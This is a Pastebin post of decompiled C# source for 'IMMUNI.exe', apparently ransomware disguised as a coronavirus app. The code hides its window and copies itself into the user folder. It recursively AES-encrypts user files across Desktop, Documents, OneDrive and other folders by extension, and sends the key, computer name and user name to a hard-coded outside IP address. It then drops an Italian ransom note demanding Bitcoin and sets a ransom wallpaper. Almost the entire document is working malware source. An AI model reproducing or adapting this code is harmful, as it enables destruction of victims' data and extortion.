dottormarc

IMMUNI.EXE source code 1

May 25th, 2020
520
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 12.82 KB | None | 0 0
  1. // Decompiled with JetBrains decompiler
  2. // Type: fuckunicorn.Form1
  3. // Assembly: IMMUNI, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
  4. // MVID: 8F54C700-FA0D-46F7-BC53-7208912E7089
  5. // Assembly location: C:\Users\Administrator\Downloads\IMMUNI.exe
  6.  
  7. using System;
  8. using System.Collections.Generic;
  9. using System.ComponentModel;
  10. using System.Diagnostics;
  11. using System.Drawing;
  12. using System.IO;
  13. using System.Linq;
  14. using System.Net;
  15. using System.Runtime.InteropServices;
  16. using System.Security.Cryptography;
  17. using System.Text;
  18. using System.Windows.Forms;
  19.  
  20. namespace fuckunicorn
  21. {
  22.   public class Form1 : Form
  23.   {
  24.     private string targetURL = "http://116.203.210.127/write.php";
  25.     private string userName = Environment.UserName;
  26.     private string computerName = Environment.MachineName.ToString();
  27.     private string userDir = "C:\\";
  28.     private string backgroundImageUrl = "https://i.imgur.com/6bDNKfs.jpg";
  29.     private IContainer components;
  30.     private PictureBox pictureBox1;
  31.     private Button button1;
  32.  
  33.     [DllImport("user32.dll", CharSet = CharSet.Auto)]
  34.     private static extern int SystemParametersInfo(
  35.       uint action,
  36.       uint uParam,
  37.       string vParam,
  38.       uint winIni);
  39.  
  40.     public Form1()
  41.     {
  42.       this.InitializeComponent();
  43.     }
  44.  
  45.     private void Form1_Load(object sender, EventArgs e)
  46.     {
  47.       this.Opacity = 100.0;
  48.       this.ShowInTaskbar = false;
  49.       this.startAction();
  50.     }
  51.  
  52.     protected override CreateParams CreateParams
  53.     {
  54.       get
  55.       {
  56.         CreateParams createParams = base.CreateParams;
  57.         createParams.ExStyle |= 128;
  58.         return createParams;
  59.       }
  60.     }
  61.  
  62.     private void Form_Shown(object sender, EventArgs e)
  63.     {
  64.       this.Visible = true;
  65.       this.Opacity = 100.0;
  66.     }
  67.  
  68.     public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
  69.     {
  70.       byte[] salt = new byte[8]
  71.       {
  72.         (byte) 1,
  73.         (byte) 2,
  74.         (byte) 3,
  75.         (byte) 4,
  76.         (byte) 5,
  77.         (byte) 6,
  78.         (byte) 7,
  79.         (byte) 8
  80.       };
  81.       using (MemoryStream memoryStream = new MemoryStream())
  82.       {
  83.         using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
  84.         {
  85.           rijndaelManaged.KeySize = 256;
  86.           rijndaelManaged.BlockSize = 128;
  87.           Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, salt, 1000);
  88.           rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
  89.           rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
  90.           rijndaelManaged.Mode = CipherMode.CBC;
  91.           using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write))
  92.           {
  93.             cryptoStream.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
  94.             cryptoStream.Close();
  95.           }
  96.           return memoryStream.ToArray();
  97.         }
  98.       }
  99.     }
  100.  
  101.     public string CreatePassword(int length)
  102.     {
  103.       StringBuilder stringBuilder = new StringBuilder();
  104.       Random random = new Random();
  105.       while (0 < length--)
  106.         stringBuilder.Append("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=?()"[random.Next("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=?()".Length)]);
  107.       return stringBuilder.ToString();
  108.     }
  109.  
  110.     public void SendPassword(string password)
  111.     {
  112.       try
  113.       {
  114.         new WebClient().DownloadString(this.targetURL + ("?computer_name=" + this.computerName + "&userName=" + this.userName + "&password=" + password + "&allow=ransom"));
  115.       }
  116.       catch (Exception ex)
  117.       {
  118.       }
  119.     }
  120.  
  121.     public void EncryptFile(string file, string password)
  122.     {
  123.       byte[] bytes = this.AES_Encrypt(System.IO.File.ReadAllBytes(file), SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password)));
  124.       string path = this.userDir + ("Users\\" + this.userName + "\\Desktop\\READ_IT.txt.fuckunicornhtrhrtjrjy");
  125.       if (System.IO.File.Exists(path))
  126.         System.IO.File.Delete(path);
  127.       System.IO.File.WriteAllBytes(file, bytes);
  128.       System.IO.File.Move(file, file + ".fuckunicornhtrhrtjrjy");
  129.     }
  130.  
  131.     public void encryptDirectory(string location, string password)
  132.     {
  133.       try
  134.       {
  135.         string[] strArray = new string[68]
  136.         {
  137.           ".txt",
  138.           ".jar",
  139.           ".exe",
  140.           ".dat",
  141.           ".contact",
  142.           ".settings",
  143.           ".doc",
  144.           ".docx",
  145.           ".xls",
  146.           ".xlsx",
  147.           ".ppt",
  148.           ".pptx",
  149.           ".odt",
  150.           ".jpg",
  151.           ".png",
  152.           ".csv",
  153.           ".py",
  154.           ".sql",
  155.           ".mdb",
  156.           ".sln",
  157.           ".php",
  158.           ".asp",
  159.           ".aspx",
  160.           ".html",
  161.           ".htm",
  162.           ".xml",
  163.           ".psd",
  164.           ".pdf",
  165.           ".dll",
  166.           ".c",
  167.           ".cs",
  168.           ".mp3",
  169.           ".mp4",
  170.           ".f3d",
  171.           ".dwg",
  172.           ".cpp",
  173.           ".zip",
  174.           ".rar",
  175.           ".mov",
  176.           ".rtf",
  177.           ".bmp",
  178.           ".mkv",
  179.           ".avi",
  180.           ".apk",
  181.           ".lnk",
  182.           ".iso",
  183.           ".7-zip",
  184.           ".ace",
  185.           ".arj",
  186.           ".bz2",
  187.           ".cab",
  188.           ".gzip",
  189.           ".lzh",
  190.           ".tar",
  191.           ".uue",
  192.           ".xz",
  193.           ".z",
  194.           ".001",
  195.           ".mpeg",
  196.           ".mp3",
  197.           ".mpg",
  198.           ".core",
  199.           ".crproj",
  200.           ".pdb",
  201.           ".ico",
  202.           ".pas",
  203.           ".db",
  204.           ".torrent"
  205.         };
  206.         string[] files = Directory.GetFiles(location);
  207.         string[] directories = Directory.GetDirectories(location);
  208.         for (int index = 0; index < files.Length; ++index)
  209.         {
  210.           string extension = Path.GetExtension(files[index]);
  211.           if (((IEnumerable<string>) strArray).Contains<string>(extension))
  212.             this.EncryptFile(files[index], password);
  213.         }
  214.         for (int index = 0; index < directories.Length; ++index)
  215.           this.encryptDirectory(directories[index], password);
  216.       }
  217.       catch (Exception ex)
  218.       {
  219.       }
  220.     }
  221.  
  222.     public void MoveVirus()
  223.     {
  224.       string path = this.userDir + this.userName + "\\Rand123";
  225.       string str = this.userDir + this.userName + "\\Rand123\\local.exe";
  226.       if (!Directory.Exists(path))
  227.         Directory.CreateDirectory(path);
  228.       else if (System.IO.File.Exists(str))
  229.         System.IO.File.Delete(str);
  230.       System.IO.File.Move(Directory.GetCurrentDirectory() + ("\\" + Process.GetCurrentProcess().ProcessName + ".exe"), str);
  231.     }
  232.  
  233.     public static bool CheckForInternetConnection()
  234.     {
  235.       try
  236.       {
  237.         using (WebClient webClient = new WebClient())
  238.         {
  239.           using (webClient.OpenRead("https://www.google.com"))
  240.             return true;
  241.         }
  242.       }
  243.       catch
  244.       {
  245.         return false;
  246.       }
  247.     }
  248.  
  249.     public void startAction()
  250.     {
  251.       this.MoveVirus();
  252.       string password = this.CreatePassword(15);
  253.       this.Directory_Settings_Sending(password);
  254.       this.messageCreator();
  255.       string path = this.userDir + this.userName + "\\ransom.jpg";
  256.       bool flag;
  257.       do
  258.       {
  259.         flag = Form1.CheckForInternetConnection();
  260.         if (flag)
  261.         {
  262.           this.SetWallpaperFromWeb(this.backgroundImageUrl, path);
  263.           this.SendPassword(password);
  264.         }
  265.       }
  266.       while (!flag);
  267.     }
  268.  
  269.     public void Directory_Settings_Sending(string password)
  270.     {
  271.       string str = "Users\\";
  272.       string location1 = this.userDir + str + this.userName + "\\Desktop";
  273.       string location2 = this.userDir + str + this.userName + "\\Links";
  274.       string location3 = this.userDir + str + this.userName + "\\Contacts";
  275.       string location4 = this.userDir + str + this.userName + "\\Desktop";
  276.       string location5 = this.userDir + str + this.userName + "\\Documents";
  277.       string location6 = this.userDir + str + this.userName + "\\Downloads";
  278.       string location7 = this.userDir + str + this.userName + "\\Pictures";
  279.       string location8 = this.userDir + str + this.userName + "\\Music";
  280.       string location9 = this.userDir + str + this.userName + "\\OneDrive";
  281.       string location10 = this.userDir + str + this.userName + "\\Saved Games";
  282.       string location11 = this.userDir + str + this.userName + "\\Favorites";
  283.       string location12 = this.userDir + str + this.userName + "\\Searches";
  284.       string location13 = this.userDir + str + this.userName + "\\Videos";
  285.       this.encryptDirectory(location1, password);
  286.       this.encryptDirectory(location2, password);
  287.       this.encryptDirectory(location3, password);
  288.       this.encryptDirectory(location4, password);
  289.       this.encryptDirectory(location5, password);
  290.       this.encryptDirectory(location6, password);
  291.       this.encryptDirectory(location7, password);
  292.       this.encryptDirectory(location8, password);
  293.       this.encryptDirectory(location9, password);
  294.       this.encryptDirectory(location10, password);
  295.       this.encryptDirectory(location11, password);
  296.       this.encryptDirectory(location12, password);
  297.       this.encryptDirectory(location13, password);
  298.     }
  299.  
  300.     public void messageCreator()
  301.     {
  302.       string path = this.userDir + "Users\\" + this.userName + "\\Desktop\\READ_IT.txt";
  303.       string str = this.computerName + "-" + this.userName;
  304.       string[] contents = new string[8]
  305.       {
  306.         "La lunga serpe sul bastone di Asceplio si è ribellata, ed una nuova era sta per sopraggiungere!",
  307.         "Questa è la vostra possibilità per redimervi dopo anni di peccati e soprusi.",
  308.         "Sta a voi scegliere. Entro 3 giorni il pegno pagare dovrai o il fuoco di Prometeo cancellerà",
  309.         "i vostri dati così come ha cancellato il potere degli Dei sugli uomini.  Il pegno è di solamente 300 euros, da pagare",
  310.         "con i Bitcoin al seguente indirizzo : 195naAM74WpLtGHsKp9azSsXWmBCaDscxJ dopo che pagato avrai, ",
  311.         "una email mandarci dovrai. [email protected] il codice di transazione sarà la prova.",
  312.         "Dopo il pegno pagato riceverai la soluzione per spegnere il fuoco di Prometeo. Andare dalla ",
  313.         "polizia o chiamare tecnici a niente servirà, nessun essere umano aiutarti potrà."
  314.       };
  315.       System.IO.File.WriteAllLines(path, contents);
  316.     }
  317.  
  318.     public void SetWallpaper(string path)
  319.     {
  320.       Form1.SystemParametersInfo(20U, 0U, path, 3U);
  321.     }
  322.  
  323.     private void SetWallpaperFromWeb(string url, string path)
  324.     {
  325.       try
  326.       {
  327.         new WebClient().DownloadFile(new Uri(url), path);
  328.         this.SetWallpaper(path);
  329.       }
  330.       catch (Exception ex)
  331.       {
  332.       }
  333.     }
  334.  
  335.     private void pictureBox1_Click(object sender, EventArgs e)
  336.     {
  337.     }
  338.  
  339.     private void button1_Click(object sender, EventArgs e)
  340.     {
  341.       this.Close();
  342.     }
  343.  
  344.     protected override void Dispose(bool disposing)
  345.     {
  346.       if (disposing && this.components != null)
  347.         this.components.Dispose();
  348.       base.Dispose(disposing);
  349.     }
  350.  
  351.     private void InitializeComponent()
  352.     {
  353.       ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1));
  354.       this.pictureBox1 = new PictureBox();
  355.       this.button1 = new Button();
  356.       ((ISupportInitialize) this.pictureBox1).BeginInit();
  357.       this.SuspendLayout();
  358.       this.pictureBox1.BackgroundImage = (Image) componentResourceManager.GetObject("pictureBox1.BackgroundImage");
  359.       this.pictureBox1.Location = new Point(-2, -6);
  360.       this.pictureBox1.Name = "pictureBox1";
  361.       this.pictureBox1.Size = new Size(1074, 691);
  362.       this.pictureBox1.SizeMode = PictureBoxSizeMode.Zoom;
  363.       this.pictureBox1.TabIndex = 0;
  364.       this.pictureBox1.TabStop = false;
  365.       this.pictureBox1.Click += new EventHandler(this.pictureBox1_Click);
  366.       this.button1.Location = new Point(1023, 12);
  367.       this.button1.Name = "button1";
  368.       this.button1.Size = new Size(29, 23);
  369.       this.button1.TabIndex = 1;
  370.       this.button1.Text = "X";
  371.       this.button1.UseVisualStyleBackColor = true;
  372.       this.button1.Click += new EventHandler(this.button1_Click);
  373.       this.AutoScaleDimensions = new SizeF(6f, 13f);
  374.       this.AutoScaleMode = AutoScaleMode.Font;
  375.       this.ClientSize = new Size(1064, 681);
  376.       this.Controls.Add((Control) this.button1);
  377.       this.Controls.Add((Control) this.pictureBox1);
  378.       this.FormBorderStyle = FormBorderStyle.None;
  379.       this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
  380.       this.Name = nameof (Form1);
  381.       this.Text = "Coronavirus";
  382.       this.UseWaitCursor = true;
  383.       this.Load += new EventHandler(this.Form1_Load);
  384.       ((ISupportInitialize) this.pictureBox1).EndInit();
  385.       this.ResumeLayout(false);
  386.     }
  387.   }
  388. }
Add Comment
Please, Sign In to add comment